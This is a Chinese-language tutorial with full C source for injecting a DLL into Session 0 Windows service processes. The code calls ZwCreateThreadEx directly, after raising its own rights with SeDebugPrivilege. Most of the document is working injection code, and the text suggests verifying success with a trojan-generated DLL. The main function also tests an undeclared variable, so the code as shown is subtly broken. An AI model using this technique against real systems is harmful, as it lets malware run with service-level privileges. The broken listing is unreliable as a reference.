突破SESSION 0隔离的远程线程注入
突破SESSION 0隔离的远程线程注入
一、Session介绍
在Windows XP、Windows Server 2003,以及更老版本的Windows操作系统中,服务和应用程序使用相同的会话(Session)运行,而这个会话是由第一个登录到控制台的用户启动的。该会话就叫做Session 0。
在Windows Vista之前,Session 0不仅包含服务,也包含标准用户应用程序。
将服务和用户应用程序一起在Session 0中运行会导致安全风险,因为服务会使用提升后的权限运行,而用户应用程序使用用户特权(大部分都是非管理员用户)运行,这会使得恶意软件以某个服务为攻击目标,通过“劫持”该服务,达到提升自己权限级别的目的。
从Windows Vista开始,只有服务可以托管到Session 0中,用户应用程序和服务之间会被隔离,并需要运行在用户登录到系统时创建的后续会话中。例如第一个登录的用户创建 Session 1,第二个登录的用户创建Session 2,以此类推
二、实现原理
ZwCreateThreadEx函数可以突破SESSION 0 隔离,将DLL注入到SESSION 0 隔离的系统服务进程中。
CreateRemoteThread底层实际上也是通过ZwCreateThreadEx函数实现线程创建的。CreateRemoteThread注入系统进程会失败的原因是因为调用ZwCreateThreadEx创建远程线程时,第七个参数CreateThreadFlags为1。
使用CreateRemoteThread注入失败DLL失败的关键在第七个参数CreateThreadFlags, 他会导致线程创建完成后一直挂起无法恢复进程运行,导致注入失败。而想要注册成功,把该参数的值改为0即可。
由于在ntdll.dll中,ZwCreateThreadEx并没有被声明,因此需要使用GetProcAddress导出地址。
三、编码实现
#include "Windows.h"
#include <stdio.h>
BOOL ZwCreateThreadExInjectDLL(DWORD dwProcessId, const char* pszDllFileName) {
HANDLE hProcess = NULL;
SIZE_T dwSize = 0;
LPVOID pDllAddr = NULL;
FARPROC pFuncProcAddr = NULL;
HANDLE hRemoteThread = NULL;
DWORD dwStatus = 0;
// 打开进程
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (NULL == hProcess) {
printf("Error OpenProcess:%d", GetLastError());
return FALSE;
}
// 申请内存
dwSize = 1 + ::lstrlen(pszDllFileName);
pDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (pDllAddr == NULL){
printf("Error VirtualAllocEx:%d", GetLastError());
return FALSE;
}
// 写入数据
if (FALSE == WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL)) {
printf("Error WriteProcessMemory:%d", GetLastError());
return FALSE;
}
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif
// 加载ntdll.dll
HMODULE hNtdllDll = LoadLibrary("ntdll.dll");
if (NULL == hNtdllDll) {
printf("Error Load 'ntdll.dll':%d", GetLastError());
return FALSE;
}
// 获取LoadLibraryA函数地址
pFuncProcAddr = GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
if (NULL == pFuncProcAddr) {
printf("Error GetProcAddress 'LoadLibraryW':%d", GetLastError());
return FALSE;
}
// 获取ZwCreateThreadEx函数地址
typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
if (NULL == ZwCreateThreadEx) {
printf("Error GetProcAddress 'ZwCreateThreadEx':%d", GetLastError());
return FALSE;
}
// 使用ZwCreateThreadEx创建远线程,实现DLL注入
dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
if (NULL == hRemoteThread) {
printf("Error Inject DLL:%u", dwStatus);
return FALSE;
}
CloseHandle(hProcess);
FreeLibrary(hNtdllDll);
return TRUE;
}
// OpenProcess打开高权限的进程需要提权
BOOL EnbalePrivileges(HANDLE hProcess, const char* pszPrivilegesName)
{
HANDLE hToken = NULL;
LUID luidValue = { 0 };
TOKEN_PRIVILEGES tokenPrivileges = { 0 };
BOOL bRet = FALSE;
DWORD dwRet = 0;
// 打开进程令牌并获取进程令牌句柄
bRet = ::OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);
if (FALSE == bRet)
{
printf("OpenProcessToken");
return FALSE;
}
// 获取本地系统的 pszPrivilegesName 特权的LUID值
bRet = ::LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue);
if (FALSE == bRet){
printf("LookupPrivilegeValue");
return FALSE;
}
// 设置提升权限信息
tokenPrivileges.PrivilegeCount = 1;
tokenPrivileges.Privileges[0].Luid = luidValue;
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// 提升进程令牌访问权限
bRet = ::AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL);
if (FALSE == bRet){
printf("AdjustTokenPrivileges");
return FALSE;
}
else{
// 根据错误码判断是否特权都设置成功
dwRet = ::GetLastError();
if (ERROR_SUCCESS == dwRet){
printf("SUCCESS!!");
return TRUE;
}
else if (ERROR_NOT_ALL_ASSIGNED == dwRet){
printf("ERROR_NOT_ALL_ASSIGNED");
return FALSE;
}
}
return FALSE;
}
int main() {
// 提升当前进程令牌权限
HANDLE hProcess = GetCurrentProcess();
EnbalePrivileges(hProcess, SE_DEBUG_NAME);
// 远线程注入 DLL
#ifndef _WIN64
const char* dllPath = "E:\\Dll1.dll";
ZwCreateThreadExInjectDLL(2940, dllPath);
#else
const char* dllPath = "E:\\Dll1.dll";
ZwCreateThreadExInjectDLL(2940, dllPath);
#endif
if (FALSE == bRet)
{
printf("Inject Dll Error.\n");
}
printf("Inject Dll OK.\n");
return 0;
}
在这里无法通过MessageBox判断是否注入成功。由于会话隔离,在系统程序中不能显示程序窗体,也不能用常规方式来建立用户进程。所以这里最好使用马生成的dll来判断DLL是否注入成功。
四、步骤总结
①打开注入进程,获取进程句柄 ②在注入的进程申请内存地址 ③写入内存地址 ④加载ntdll,获取LoadLibraryA函数地址 ⑤获取ZwCreateThreadEx函数地址 ⑥使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入
五、注意事项
①需要使用管理员权限
②由于会话隔离,在系统服务程序里不能显示程序窗体,也不能用常规方式创建用户进程,进程注入dll使用MessageBox,会无法显示
③ZwCreateThreadEx函数在32位和64位系统下,其函数声明中的参数是有区别的,一定要区分开